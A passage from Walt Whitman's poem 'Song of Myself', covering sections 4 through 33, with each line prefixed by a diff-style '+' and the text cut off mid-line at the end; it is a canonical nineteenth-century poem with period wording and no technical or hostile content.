compassionating, idle, unitary, +Looks down, is erect, or bends an arm on an impalpable certain rest, +Looking with side-curved head curious what will come next, +Both in and out of the game and watching and wondering at it. + +Backward I see in my own days where I sweated through fog with + linguists and contenders, +I have no mockings or arguments, I witness and wait. + + 5 +I believe in you my soul, the other I am must not abase itself to you, +And you must not be abased to the other. + +Loafe with me on the grass, loose the stop from your throat, +Not words, not music or rhyme I want, not custom or lecture, not + even the best, +Only the lull I like, the hum of your valved voice. + +I mind how once we lay such a transparent summer morning, +How you settled your head athwart my hips and gently turn'd over upon me, +And parted the shirt from my bosom-bone, and plunged your tongue + to my bare-stript heart, +And reach'd till you felt my beard, and reach'd till you held my feet. + +Swiftly arose and spread around me the peace and knowledge that pass + all the argument of the earth, +And I know that the hand of God is the promise of my own, +And I know that the spirit of God is the brother of my own, +And that all the men ever born are also my brothers, and the women + my sisters and lovers, +And that a kelson of the creation is love, +And limitless are leaves stiff or drooping in the fields, +And brown ants in the little wells beneath them, +And mossy scabs of the worm fence, heap'd stones, elder, mullein and + poke-weed. + + 6 +A child said What is the grass? fetching it to me with full hands; +How could I answer the child? I do not know what it is any more than he. + +I guess it must be the flag of my disposition, out of hopeful green + stuff woven. + +Or I guess it is the handkerchief of the Lord, +A scented gift and remembrancer designedly dropt, +Bearing the owner's name someway in the corners, that we may see + and remark, and say Whose? + +Or I guess the grass is itself a child, the produced babe of the vegetation. + +Or I guess it is a uniform hieroglyphic, +And it means, Sprouting alike in broad zones and narrow zones, +Growing among black folks as among white, +Kanuck, Tuckahoe, Congressman, Cuff, I give them the same, I + receive them the same. + +And now it seems to me the beautiful uncut hair of graves. + +Tenderly will I use you curling grass, +It may be you transpire from the breasts of young men, +It may be if I had known them I would have loved them, +It may be you are from old people, or from offspring taken soon out + of their mothers' laps, +And here you are the mothers' laps. + +This grass is very dark to be from the white heads of old mothers, +Darker than the colorless beards of old men, +Dark to come from under the faint red roofs of mouths. + +O I perceive after all so many uttering tongues, +And I perceive they do not come from the roofs of mouths for nothing. + +I wish I could translate the hints about the dead young men and women, +And the hints about old men and mothers, and the offspring taken + soon out of their laps. + +What do you think has become of the young and old men? +And what do you think has become of the women and children? + +They are alive and well somewhere, +The smallest sprout shows there is really no death, +And if ever there was it led forward life, and does not wait at the + end to arrest it, +And ceas'd the moment life appear'd. + +All goes onward and outward, nothing collapses, +And to die is different from what any one supposed, and luckier. + + 7 +Has any one supposed it lucky to be born? +I hasten to inform him or her it is just as lucky to die, and I know it. + +I pass death with the dying and birth with the new-wash'd babe, and + am not contain'd between my hat and boots, +And peruse manifold objects, no two alike and every one good, +The earth good and the stars good, and their adjuncts all good. + +I am not an earth nor an adjunct of an earth, +I am the mate and companion of people, all just as immortal and + fathomless as myself, +(They do not know how immortal, but I know.) + +Every kind for itself and its own, for me mine male and female, +For me those that have been boys and that love women, +For me the man that is proud and feels how it stings to be slighted, +For me the sweet-heart and the old maid, for me mothers and the + mothers of mothers, +For me lips that have smiled, eyes that have shed tears, +For me children and the begetters of children. + +Undrape! you are not guilty to me, nor stale nor discarded, +I see through the broadcloth and gingham whether or no, +And am around, tenacious, acquisitive, tireless, and cannot be shaken away. + + 8 +The little one sleeps in its cradle, +I lift the gauze and look a long time, and silently brush away flies + with my hand. + +The youngster and the red-faced girl turn aside up the bushy hill, +I peeringly view them from the top. + +The suicide sprawls on the bloody floor of the bedroom, +I witness the corpse with its dabbled hair, I note where the pistol + has fallen. + +The blab of the pave, tires of carts, sluff of boot-soles, talk of + the promenaders, +The heavy omnibus, the driver with his interrogating thumb, the + clank of the shod horses on the granite floor, +The snow-sleighs, clinking, shouted jokes, pelts of snow-balls, +The hurrahs for popular favorites, the fury of rous'd mobs, +The flap of the curtain'd litter, a sick man inside borne to the hospital, +The meeting of enemies, the sudden oath, the blows and fall, +The excited crowd, the policeman with his star quickly working his + passage to the centre of the crowd, +The impassive stones that receive and return so many echoes, +What groans of over-fed or half-starv'd who fall sunstruck or in fits, +What exclamations of women taken suddenly who hurry home and + give birth to babes, +What living and buried speech is always vibrating here, what howls + restrain'd by decorum, +Arrests of criminals, slights, adulterous offers made, acceptances, + rejections with convex lips, +I mind them or the show or resonance of them--I come and I depart. + + 9 +The big doors of the country barn stand open and ready, +The dried grass of the harvest-time loads the slow-drawn wagon, +The clear light plays on the brown gray and green intertinged, +The armfuls are pack'd to the sagging mow. + +I am there, I help, I came stretch'd atop of the load, +I felt its soft jolts, one leg reclined on the other, +I jump from the cross-beams and seize the clover and timothy, +And roll head over heels and tangle my hair full of wisps. + + 10 +Alone far in the wilds and mountains I hunt, +Wandering amazed at my own lightness and glee, +In the late afternoon choosing a safe spot to pass the night, +Kindling a fire and broiling the fresh-kill'd game, +Falling asleep on the gather'd leaves with my dog and gun by my side. + +The Yankee clipper is under her sky-sails, she cuts the sparkle and scud, +My eyes settle the land, I bend at her prow or shout joyously from the deck. + +The boatmen and clam-diggers arose early and stopt for me, +I tuck'd my trowser-ends in my boots and went and had a good time; +You should have been with us that day round the chowder-kettle. + +I saw the marriage of the trapper in the open air in the far west, + the bride was a red girl, +Her father and his friends sat near cross-legged and dumbly smoking, + they had moccasins to their feet and large thick blankets + hanging from their shoulders, +On a bank lounged the trapper, he was drest mostly in skins, his luxuriant + beard and curls protected his neck, he held his bride by the hand, +She had long eyelashes, her head was bare, her coarse straight locks + descended upon her voluptuous limbs and reach'd to her feet. + +The runaway slave came to my house and stopt outside, +I heard his motions crackling the twigs of the woodpile, +Through the swung half-door of the kitchen I saw him limpsy and weak, +And went where he sat on a log and led him in and assured him, +And brought water and fill'd a tub for his sweated body and bruis'd feet, +And gave him a room that enter'd from my own, and gave him some + coarse clean clothes, +And remember perfectly well his revolving eyes and his awkwardness, +And remember putting piasters on the galls of his neck and ankles; +He staid with me a week before he was recuperated and pass'd north, +I had him sit next me at table, my fire-lock lean'd in the corner. + + 11 +Twenty-eight young men bathe by the shore, +Twenty-eight young men and all so friendly; +Twenty-eight years of womanly life and all so lonesome. + +She owns the fine house by the rise of the bank, +She hides handsome and richly drest aft the blinds of the window. + +Which of the young men does she like the best? +Ah the homeliest of them is beautiful to her. + +Where are you off to, lady? for I see you, +You splash in the water there, yet stay stock still in your room. + +Dancing and laughing along the beach came the twenty-ninth bather, +The rest did not see her, but she saw them and loved them. + +The beards of the young men glisten'd with wet, it ran from their long hair, +Little streams pass'd all over their bodies. + +An unseen hand also pass'd over their bodies, +It descended tremblingly from their temples and ribs. + +The young men float on their backs, their white bellies bulge to the + sun, they do not ask who seizes fast to them, +They do not know who puffs and declines with pendant and bending arch, +They do not think whom they souse with spray. + + 12 +The butcher-boy puts off his killing-clothes, or sharpens his knife + at the stall in the market, +I loiter enjoying his repartee and his shuffle and break-down. + +Blacksmiths with grimed and hairy chests environ the anvil, +Each has his main-sledge, they are all out, there is a great heat in + the fire. + +From the cinder-strew'd threshold I follow their movements, +The lithe sheer of their waists plays even with their massive arms, +Overhand the hammers swing, overhand so slow, overhand so sure, +They do not hasten, each man hits in his place. + + 13 +The negro holds firmly the reins of his four horses, the block swags + underneath on its tied-over chain, +The negro that drives the long dray of the stone-yard, steady and + tall he stands pois'd on one leg on the string-piece, +His blue shirt exposes his ample neck and breast and loosens over + his hip-band, +His glance is calm and commanding, he tosses the slouch of his hat + away from his forehead, +The sun falls on his crispy hair and mustache, falls on the black of + his polish'd and perfect limbs. + +I behold the picturesque giant and love him, and I do not stop there, +I go with the team also. + +In me the caresser of life wherever moving, backward as well as + forward sluing, +To niches aside and junior bending, not a person or object missing, +Absorbing all to myself and for this song. + +Oxen that rattle the yoke and chain or halt in the leafy shade, what + is that you express in your eyes? +It seems to me more than all the print I have read in my life. + +My tread scares the wood-drake and wood-duck on my distant and + day-long ramble, +They rise together, they slowly circle around. + +I believe in those wing'd purposes, +And acknowledge red, yellow, white, playing within me, +And consider green and violet and the tufted crown intentional, +And do not call the tortoise unworthy because she is not something else, +And the in the woods never studied the gamut, yet trills pretty well to me, +And the look of the bay mare shames silliness out of me. + + 14 +The wild gander leads his flock through the cool night, +Ya-honk he says, and sounds it down to me like an invitation, +The pert may suppose it meaningless, but I listening close, +Find its purpose and place up there toward the wintry sky. + +The sharp-hoof'd moose of the north, the cat on the house-sill, the + chickadee, the prairie-dog, +The litter of the grunting sow as they tug at her teats, +The brood of the turkey-hen and she with her half-spread wings, +I see in them and myself the same old law. + +The press of my foot to the earth springs a hundred affections, +They scorn the best I can do to relate them. + +I am enamour'd of growing out-doors, +Of men that live among cattle or taste of the ocean or woods, +Of the builders and steerers of ships and the wielders of axes and + mauls, and the drivers of horses, +I can eat and sleep with them week in and week out. + +What is commonest, cheapest, nearest, easiest, is Me, +Me going in for my chances, spending for vast returns, +Adorning myself to bestow myself on the first that will take me, +Not asking the sky to come down to my good will, +Scattering it freely forever. + + 15 +The pure contralto sings in the organ loft, +The carpenter dresses his plank, the tongue of his foreplane + whistles its wild ascending lisp, +The married and unmarried children ride home to their Thanksgiving dinner, +The pilot seizes the king-pin, he heaves down with a strong arm, +The mate stands braced in the whale-boat, lance and harpoon are ready, +The duck-shooter walks by silent and cautious stretches, +The deacons are ordain'd with cross'd hands at the altar, +The spinning-girl retreats and advances to the hum of the big wheel, +The farmer stops by the bars as he walks on a First-day loafe and + looks at the oats and rye, +The lunatic is carried at last to the asylum a confirm'd case, +(He will never sleep any more as he did in the cot in his mother's + bed-room;) +The jour printer with gray head and gaunt jaws works at his case, +He turns his quid of tobacco while his eyes blurr with the manuscript; +The malform'd limbs are tied to the surgeon's table, +What is removed drops horribly in a pail; +The quadroon girl is sold at the auction-stand, the drunkard nods by + the bar-room stove, +The machinist rolls up his sleeves, the policeman travels his beat, + the gate-keeper marks who pass, +The young fellow drives the express-wagon, (I love him, though I do + not know him;) +The half-breed straps on his light boots to compete in the race, +The western turkey-shooting draws old and young, some lean on their + rifles, some sit on logs, +Out from the crowd steps the marksman, takes his position, levels his piece; +The groups of newly-come immigrants cover the wharf or levee, +As the woolly-pates hoe in the sugar-field, the overseer views them + from his saddle, +The bugle calls in the ball-room, the gentlemen run for their + partners, the dancers bow to each other, +The youth lies awake in the cedar-roof'd garret and harks to the + musical rain, +The Wolverine sets traps on the creek that helps fill the Huron, +The squaw wrapt in her yellow-hemm'd cloth is offering moccasins and + bead-bags for sale, +The connoisseur peers along the exhibition-gallery with half-shut + eyes bent sideways, +As the deck-hands make fast the steamboat the plank is thrown for + the shore-going passengers, +The young sister holds out the skein while the elder sister winds it + off in a ball, and stops now and then for the knots, +The one-year wife is recovering and happy having a week ago borne + her first child, +The clean-hair'd Yankee girl works with her sewing-machine or in the + factory or mill, +The paving-man leans on his two-handed rammer, the reporter's lead + flies swiftly over the note-book, the sign-painter is lettering + with blue and gold, +The canal boy trots on the tow-path, the book-keeper counts at his + desk, the shoemaker waxes his thread, +The conductor beats time for the band and all the performers follow him, +The child is baptized, the convert is making his first professions, +The regatta is spread on the bay, the race is begun, (how the white + sails sparkle!) +The drover watching his drove sings out to them that would stray, +The pedler sweats with his pack on his back, (the purchaser higgling + about the odd cent;) +The bride unrumples her white dress, the minute-hand of the clock + moves slowly, +The opium-eater reclines with rigid head and just-open'd lips, +The prostitute draggles her shawl, her bonnet bobs on her tipsy and + pimpled neck, +The crowd laugh at her blackguard oaths, the men jeer and wink to + each other, +(Miserable! I do not laugh at your oaths nor jeer you;) +The President holding a cabinet council is surrounded by the great + Secretaries, +On the piazza walk three matrons stately and friendly with twined arms, +The crew of the fish-smack pack repeated layers of halibut in the hold, +The Missourian crosses the plains toting his wares and his cattle, +As the fare-collector goes through the train he gives notice by the + jingling of loose change, +The floor-men are laying the floor, the tinners are tinning the + roof, the masons are calling for mortar, +In single file each shouldering his hod pass onward the laborers; +Seasons pursuing each other the indescribable crowd is gather'd, it + is the fourth of Seventh-month, (what salutes of cannon and small arms!) +Seasons pursuing each other the plougher ploughs, the mower mows, + and the winter-grain falls in the ground; +Off on the lakes the pike-fisher watches and waits by the hole in + the frozen surface, +The stumps stand thick round the clearing, the squatter strikes deep + with his axe, +Flatboatmen make fast towards dusk near the cotton-wood or pecan-trees, +Coon-seekers go through the regions of the Red river or through + those drain'd by the Tennessee, or through those of the Arkansas, +Torches shine in the dark that hangs on the Chattahooche or Altamahaw, +Patriarchs sit at supper with sons and grandsons and great-grandsons + around them, +In walls of adobie, in canvas tents, rest hunters and trappers after + their day's sport, +The city sleeps and the country sleeps, +The living sleep for their time, the dead sleep for their time, +The old husband sleeps by his wife and the young husband sleeps by his wife; +And these tend inward to me, and I tend outward to them, +And such as it is to be of these more or less I am, +And of these one and all I weave the song of myself. + + 16 +I am of old and young, of the foolish as much as the wise, +Regardless of others, ever regardful of others, +Maternal as well as paternal, a child as well as a man, +Stuff'd with the stuff that is coarse and stuff'd with the stuff + that is fine, +One of the Nation of many nations, the smallest the same and the + largest the same, +A Southerner soon as a Northerner, a planter nonchalant and + hospitable down by the Oconee I live, +A Yankee bound my own way ready for trade, my joints the limberest + joints on earth and the sternest joints on earth, +A Kentuckian walking the vale of the Elkhorn in my deer-skin + leggings, a Louisianian or Georgian, +A boatman over lakes or bays or along coasts, a Hoosier, Badger, Buckeye; +At home on Kanadian snow-shoes or up in the bush, or with fishermen + off Newfoundland, +At home in the fleet of ice-boats, sailing with the rest and tacking, +At home on the hills of Vermont or in the woods of Maine, or the + Texan ranch, +Comrade of Californians, comrade of free North-Westerners, (loving + their big proportions,) +Comrade of raftsmen and coalmen, comrade of all who shake hands + and welcome to drink and meat, +A learner with the simplest, a teacher of the thoughtfullest, +A novice beginning yet experient of myriads of seasons, +Of every hue and caste am I, of every rank and religion, +A farmer, mechanic, artist, gentleman, sailor, quaker, +Prisoner, fancy-man, rowdy, lawyer, physician, priest. + +I resist any thing better than my own diversity, +Breathe the air but leave plenty after me, +And am not stuck up, and am in my place. + +(The moth and the fish-eggs are in their place, +The bright suns I see and the dark suns I cannot see are in their place, +The palpable is in its place and the impalpable is in its place.) + + 17 +These are really the thoughts of all men in all ages and lands, they + are not original with me, +If they are not yours as much as mine they are nothing, or next to nothing, +If they are not the riddle and the untying of the riddle they are nothing, +If they are not just as close as they are distant they are nothing. + +This is the grass that grows wherever the land is and the water is, +This the common air that bathes the globe. + + 18 +With music strong I come, with my cornets and my drums, +I play not marches for accepted victors only, I play marches for + conquer'd and slain persons. + +Have you heard that it was good to gain the day? +I also say it is good to fall, battles are lost in the same spirit + in which they are won. + +I beat and pound for the dead, +I blow through my embouchures my loudest and gayest for them. + +Vivas to those who have fail'd! +And to those whose war-vessels sank in the sea! +And to those themselves who sank in the sea! +And to all generals that lost engagements, and all overcome heroes! +And the numberless unknown heroes equal to the greatest heroes known! + + 19 +This is the meal equally set, this the meat for natural hunger, +It is for the wicked just same as the righteous, I make appointments + with all, +I will not have a single person slighted or left away, +The kept-woman, sponger, thief, are hereby invited, +The heavy-lipp'd slave is invited, the venerealee is invited; +There shall be no difference between them and the rest. + +This is the press of a bashful hand, this the float and odor of hair, +This the touch of my lips to yours, this the murmur of yearning, +This the far-off depth and height reflecting my own face, +This the thoughtful merge of myself, and the outlet again. + +Do you guess I have some intricate purpose? +Well I have, for the Fourth-month showers have, and the mica on the + side of a rock has. + +Do you take it I would astonish? +Does the daylight astonish? does the early redstart twittering + through the woods? +Do I astonish more than they? + +This hour I tell things in confidence, +I might not tell everybody, but I will tell you. + + 20 +Who goes there? hankering, gross, mystical, nude; +How is it I extract strength from the beef I eat? + +What is a man anyhow? what am I? what are you? + +All I mark as my own you shall offset it with your own, +Else it were time lost listening to me. + +I do not snivel that snivel the world over, +That months are vacuums and the ground but wallow and filth. + +Whimpering and truckling fold with powders for invalids, conformity + goes to the fourth-remov'd, +I wear my hat as I please indoors or out. + +Why should I pray? why should I venerate and be ceremonious? + +Having pried through the strata, analyzed to a hair, counsel'd with + doctors and calculated close, +I find no sweeter fat than sticks to my own bones. + +In all people I see myself, none more and not one a barley-corn less, +And the good or bad I say of myself I say of them. + +I know I am solid and sound, +To me the converging objects of the universe perpetually flow, +All are written to me, and I must get what the writing means. + +I know I am deathless, +I know this orbit of mine cannot be swept by a carpenter's compass, +I know I shall not pass like a child's carlacue cut with a burnt + stick at night. + +I know I am august, +I do not trouble my spirit to vindicate itself or be understood, +I see that the elementary laws never apologize, +(I reckon I behave no prouder than the level I plant my house by, + after all.) + +I exist as I am, that is enough, +If no other in the world be aware I sit content, +And if each and all be aware I sit content. + +One world is aware and by far the largest to me, and that is myself, +And whether I come to my own to-day or in ten thousand or ten + million years, +I can cheerfully take it now, or with equal cheerfulness I can wait. + +My foothold is tenon'd and mortis'd in granite, +I laugh at what you call dissolution, +And I know the amplitude of time. + + 21 +I am the poet of the Body and I am the poet of the Soul, +The pleasures of heaven are with me and the pains of hell are with me, +The first I graft and increase upon myself, the latter I translate + into new tongue. + +I am the poet of the woman the same as the man, +And I say it is as great to be a woman as to be a man, +And I say there is nothing greater than the mother of men. + +I chant the chant of dilation or pride, +We have had ducking and deprecating about enough, +I show that size is only development. + +Have you outstript the rest? are you the President? +It is a trifle, they will more than arrive there every one, and + still pass on. + +I am he that walks with the tender and growing night, +I call to the earth and sea half-held by the night. + +Press close bare-bosom'd night--press close magnetic nourishing night! +Night of south winds--night of the large few stars! +Still nodding night--mad naked summer night. + +Smile O voluptuous cool-breath'd earth! +Earth of the slumbering and liquid trees! +Earth of departed sunset--earth of the mountains misty-topt! +Earth of the vitreous pour of the full moon just tinged with blue! +Earth of shine and dark mottling the tide of the river! +Earth of the limpid gray of clouds brighter and clearer for my sake! +Far-swooping elbow'd earth--rich apple-blossom'd earth! +Smile, for your lover comes. + +Prodigal, you have given me love--therefore I to you give love! +O unspeakable passionate love. + + 22 +You sea! I resign myself to you also--I guess what you mean, +I behold from the beach your crooked fingers, +I believe you refuse to go back without feeling of me, +We must have a turn together, I undress, hurry me out of sight of the land, +Cushion me soft, rock me in billowy drowse, +Dash me with amorous wet, I can repay you. + +Sea of stretch'd ground-swells, +Sea breathing broad and convulsive breaths, +Sea of the brine of life and of unshovell'd yet always-ready graves, +Howler and scooper of storms, capricious and dainty sea, +I am integral with you, I too am of one phase and of all phases. + +Partaker of influx and efflux I, extoller of hate and conciliation, +Extoller of amies and those that sleep in each others' arms. + +I am he attesting sympathy, +(Shall I make my list of things in the house and skip the house that + supports them?) + +I am not the poet of goodness only, I do not decline to be the poet + of wickedness also. + +What blurt is this about virtue and about vice? +Evil propels me and reform of evil propels me, I stand indifferent, +My gait is no fault-finder's or rejecter's gait, +I moisten the roots of all that has grown. + +Did you fear some scrofula out of the unflagging pregnancy? +Did you guess the celestial laws are yet to be work'd over and rectified? + +I find one side a balance and the antipedal side a balance, +Soft doctrine as steady help as stable doctrine, +Thoughts and deeds of the present our rouse and early start. + +This minute that comes to me over the past decillions, +There is no better than it and now. + +What behaved well in the past or behaves well to-day is not such wonder, +The wonder is always and always how there can be a mean man or an infidel. + + 23 +Endless unfolding of words of ages! +And mine a word of the modern, the word En-Masse. + +A word of the faith that never balks, +Here or henceforward it is all the same to me, I accept Time absolutely. + +It alone is without flaw, it alone rounds and completes all, +That mystic baffling wonder alone completes all. + +I accept Reality and dare not question it, +Materialism first and last imbuing. + +Hurrah for positive science! long live exact demonstration! +Fetch stonecrop mixt with cedar and branches of lilac, +This is the lexicographer, this the chemist, this made a grammar of + the old cartouches, +These mariners put the ship through dangerous unknown seas. +This is the geologist, this works with the scalper, and this is a + mathematician. + +Gentlemen, to you the first honors always! +Your facts are useful, and yet they are not my dwelling, +I but enter by them to an area of my dwelling. + +Less the reminders of properties told my words, +And more the reminders they of life untold, and of freedom and extrication, +And make short account of neuters and geldings, and favor men and + women fully equipt, +And beat the gong of revolt, and stop with fugitives and them that + plot and conspire. + + 24 +Walt Whitman, a kosmos, of Manhattan the son, +Turbulent, fleshy, sensual, eating, drinking and breeding, +No sentimentalist, no stander above men and women or apart from them, +No more modest than immodest. + +Unscrew the locks from the doors! +Unscrew the doors themselves from their jambs! + +Whoever degrades another degrades me, +And whatever is done or said returns at last to me. + +Through me the afflatus surging and surging, through me the current + and index. + +I speak the pass-word primeval, I give the sign of democracy, +By God! I will accept nothing which all cannot have their + counterpart of on the same terms. + +Through me many long dumb voices, +Voices of the interminable generations of prisoners and slaves, +Voices of the diseas'd and despairing and of thieves and dwarfs, +Voices of cycles of preparation and accretion, +And of the threads that connect the stars, and of wombs and of the + father-stuff, +And of the rights of them the others are down upon, +Of the deform'd, trivial, flat, foolish, despised, +Fog in the air, beetles rolling balls of dung. + +Through me forbidden voices, +Voices of sexes and lusts, voices veil'd and I remove the veil, +Voices indecent by me clarified and transfigur'd. + +I do not press my fingers across my mouth, +I keep as delicate around the bowels as around the head and heart, +Copulation is no more rank to me than death is. + +I believe in the flesh and the appetites, +Seeing, hearing, feeling, are miracles, and each part and tag of me + is a miracle. + +Divine am I inside and out, and I make holy whatever I touch or am + touch'd from, +The scent of these arm-pits aroma finer than prayer, +This head more than churches, bibles, and all the creeds. + +If I worship one thing more than another it shall be the spread of + my own body, or any part of it, +Translucent mould of me it shall be you! +Shaded ledges and rests it shall be you! +Firm masculine colter it shall be you! +Whatever goes to the tilth of me it shall be you! +You my rich blood! your milky stream pale strippings of my life! +Breast that presses against other breasts it shall be you! +My brain it shall be your occult convolutions! +Root of wash'd sweet-flag! timorous pond-snipe! nest of guarded + duplicate eggs! it shall be you! +Mix'd tussled hay of head, beard, brawn, it shall be you! +Trickling sap of maple, fibre of manly wheat, it shall be you! +Sun so generous it shall be you! +Vapors lighting and shading my face it shall be you! +You sweaty brooks and dews it shall be you! +Winds whose soft-tickling genitals rub against me it shall be you! +Broad muscular fields, branches of live oak, loving lounger in my + winding paths, it shall be you! +Hands I have taken, face I have kiss'd, mortal I have ever touch'd, + it shall be you. + +I dote on myself, there is that lot of me and all so luscious, +Each moment and whatever happens thrills me with joy, +I cannot tell how my ankles bend, nor whence the cause of my faintest wish, +Nor the cause of the friendship I emit, nor the cause of the + friendship I take again. + +That I walk up my stoop, I pause to consider if it really be, +A morning-glory at my window satisfies me more than the metaphysics + of books. + +To behold the day-break! +The little light fades the immense and diaphanous shadows, +The air tastes good to my palate. + +Hefts of the moving world at innocent gambols silently rising + freshly exuding, +Scooting obliquely high and low. + +Something I cannot see puts upward libidinous prongs, +Seas of bright juice suffuse heaven. + +The earth by the sky staid with, the daily close of their junction, +The heav'd challenge from the east that moment over my head, +The mocking taunt, See then whether you shall be master! + + 25 +Dazzling and tremendous how quick the sun-rise would kill me, +If I could not now and always send sun-rise out of me. + +We also ascend dazzling and tremendous as the sun, +We found our own O my soul in the calm and cool of the daybreak. + +My voice goes after what my eyes cannot reach, +With the twirl of my tongue I encompass worlds and volumes of worlds. + +Speech is the twin of my vision, it is unequal to measure itself, +It provokes me forever, it says sarcastically, +Walt you contain enough, why don't you let it out then? + +Come now I will not be tantalized, you conceive too much of + articulation, +Do you not know O speech how the buds beneath you are folded? +Waiting in gloom, protected by frost, +The dirt receding before my prophetical screams, +I underlying causes to balance them at last, +My knowledge my live parts, it keeping tally with the meaning of all things, +Happiness, (which whoever hears me let him or her set out in search + of this day.) + +My final merit I refuse you, I refuse putting from me what I really am, +Encompass worlds, but never try to encompass me, +I crowd your sleekest and best by simply looking toward you. + +Writing and talk do not prove me, +I carry the plenum of proof and every thing else in my face, +With the hush of my lips I wholly confound the skeptic. + + 26 +Now I will do nothing but listen, +To accrue what I hear into this song, to let sounds contribute toward it. + +I hear bravuras of birds, bustle of growing wheat, gossip of flames, + clack of sticks cooking my meals, +I hear the sound I love, the sound of the human voice, +I hear all sounds running together, combined, fused or following, +Sounds of the city and sounds out of the city, sounds of the day and night, +Talkative young ones to those that like them, the loud laugh of + work-people at their meals, +The angry base of disjointed friendship, the faint tones of the sick, +The judge with hands tight to the desk, his pallid lips pronouncing + a death-sentence, +The heave'e'yo of stevedores unlading ships by the wharves, the + refrain of the anchor-lifters, +The ring of alarm-bells, the cry of fire, the whirr of swift-streaking + engines and hose-carts with premonitory tinkles and color'd lights, +The steam-whistle, the solid roll of the train of approaching cars, +The slow march play'd at the head of the association marching two and two, +(They go to guard some corpse, the flag-tops are draped with black muslin.) + +I hear the violoncello, ('tis the young man's heart's complaint,) +I hear the key'd cornet, it glides quickly in through my ears, +It shakes mad-sweet pangs through my belly and breast. + +I hear the chorus, it is a grand opera, +Ah this indeed is music--this suits me. + +A tenor large and fresh as the creation fills me, +The orbic flex of his mouth is pouring and filling me full. + +I hear the train'd soprano (what work with hers is this?) +The orchestra whirls me wider than Uranus flies, +It wrenches such ardors from me I did not know I possess'd them, +It sails me, I dab with bare feet, they are lick'd by the indolent waves, +I am cut by bitter and angry hail, I lose my breath, +Steep'd amid honey'd morphine, my windpipe throttled in fakes of death, +At length let up again to feel the puzzle of puzzles, +And that we call Being. + + 27 +To be in any form, what is that? +(Round and round we go, all of us, and ever come back thither,) +If nothing lay more develop'd the quahaug in its callous shell were enough. + +Mine is no callous shell, +I have instant conductors all over me whether I pass or stop, +They seize every object and lead it harmlessly through me. + +I merely stir, press, feel with my fingers, and am happy, +To touch my person to some one else's is about as much as I can stand. + + 28 +Is this then a touch? quivering me to a new identity, +Flames and ether making a rush for my veins, +Treacherous tip of me reaching and crowding to help them, +My flesh and blood playing out lightning to strike what is hardly + different from myself, +On all sides prurient provokers stiffening my limbs, +Straining the udder of my heart for its withheld drip, +Behaving licentious toward me, taking no denial, +Depriving me of my best as for a purpose, +Unbuttoning my clothes, holding me by the bare waist, +Deluding my confusion with the calm of the sunlight and pasture-fields, +Immodestly sliding the fellow-senses away, +They bribed to swap off with touch and go and graze at the edges of me, +No consideration, no regard for my draining strength or my anger, +Fetching the rest of the herd around to enjoy them a while, +Then all uniting to stand on a headland and worry me. + +The sentries desert every other part of me, +They have left me helpless to a red marauder, +They all come to the headland to witness and assist against me. + +I am given up by traitors, +I talk wildly, I have lost my wits, I and nobody else am the + greatest traitor, +I went myself first to the headland, my own hands carried me there. + +You villain touch! what are you doing? my breath is tight in its throat, +Unclench your floodgates, you are too much for me. + + 29 +Blind loving wrestling touch, sheath'd hooded sharp-tooth'd touch! +Did it make you ache so, leaving me? + +Parting track'd by arriving, perpetual payment of perpetual loan, +Rich showering rain, and recompense richer afterward. + +Sprouts take and accumulate, stand by the curb prolific and vital, +Landscapes projected masculine, full-sized and golden. + + 30 +All truths wait in all things, +They neither hasten their own delivery nor resist it, +They do not need the obstetric forceps of the surgeon, +The insignificant is as big to me as any, +(What is less or more than a touch?) + +Logic and sermons never convince, +The damp of the night drives deeper into my soul. + +(Only what proves itself to every man and woman is so, +Only what nobody denies is so.) + +A minute and a drop of me settle my brain, +I believe the soggy clods shall become lovers and lamps, +And a compend of compends is the meat of a man or woman, +And a summit and flower there is the feeling they have for each other, +And they are to branch boundlessly out of that lesson until it + becomes omnific, +And until one and all shall delight us, and we them. + + 31 +I believe a leaf of grass is no less than the journey work of the stars, +And the pismire is equally perfect, and a grain of sand, and the egg + of the wren, +And the tree-toad is a chef-d'oeuvre for the highest, +And the running blackberry would adorn the parlors of heaven, +And the narrowest hinge in my hand puts to scorn all machinery, +And the cow crunching with depress'd head surpasses any statue, +And a mouse is miracle enough to stagger sextillions of infidels. + +I find I incorporate gneiss, coal, long-threaded moss, fruits, + grains, esculent roots, +And am stucco'd with quadrupeds and birds all over, +And have distanced what is behind me for good reasons, +But call any thing back again when I desire it. + +In vain the speeding or shyness, +In vain the plutonic rocks send their old heat against my approach, +In vain the mastodon retreats beneath its own powder'd bones, +In vain objects stand leagues off and assume manifold shapes, +In vain the ocean settling in hollows and the great monsters lying low, +In vain the buzzard houses herself with the sky, +In vain the snake slides through the creepers and logs, +In vain the elk takes to the inner passes of the woods, +In vain the razor-bill'd auk sails far north to Labrador, +I follow quickly, I ascend to the nest in the fissure of the cliff. + + 32 +I think I could turn and live with animals, they are so placid and + self-contain'd, +I stand and look at them long and long. + +They do not sweat and whine about their condition, +They do not lie awake in the dark and weep for their sins, +They do not make me sick discussing their duty to God, +Not one is dissatisfied, not one is demented with the mania of + owning things, +Not one kneels to another, nor to his kind that lived thousands of + years ago, +Not one is respectable or unhappy over the whole earth. + +So they show their relations to me and I accept them, +They bring me tokens of myself, they evince them plainly in their + possession. + +I wonder where they get those tokens, +Did I pass that way huge times ago and negligently drop them? + +Myself moving forward then and now and forever, +Gathering and showing more always and with velocity, +Infinite and omnigenous, and the like of these among them, +Not too exclusive toward the reachers of my remembrancers, +Picking out here one that I love, and now go with him on brotherly terms. + +A gigantic beauty of a stallion, fresh and responsive to my caresses, +Head high in the forehead, wide between the ears, +Limbs glossy and supple, tail dusting the ground, +Eyes full of sparkling wickedness, ears finely cut, flexibly moving. + +His nostrils dilate as my heels embrace him, +His well-built limbs tremble with pleasure as we race around and return. + +I but use you a minute, then I resign you, stallion, +Why do I need your paces when I myself out-gallop them? +Even as I stand or sit passing faster than you. + + 33 +Space and Time! now I see it is true, what I guess'd at, +What I guess'd when I loaf'd on the grass, +What I guess'd while I lay alone in my bed, +And again as I walk'd the beach under the paling stars of the morning. + +My ties and ballasts leave me, my elbows rest in sea-gaps, +I skirt sierras, my palms cover continents, +I am afoot with my vision. + +By the city's quadrangular houses--in log huts, camping with lumber-men, +Along the ruts of the turnpike, along the dry gulch and rivulet bed, +Weeding my onion-patch or hosing rows of carrots and parsnips, + crossing savannas, trailing in forests, +Prospecting, gold-digging, girdling the trees of a new purchase, +Scorch'd ankle-deep by the hot sand, hauling my boat down the + shallow river, +Where the panther walks to and fro on a limb overhead, where the + buck turns furiously at the hunter, +Where the rattlesnake suns his flabby length on a rock, where the + otter is feeding on fish, +Where the alligator in his tough pimples sleeps by the bayou, +Where the black bear is searching for roots or honey, where the + beaver pats the mud with his 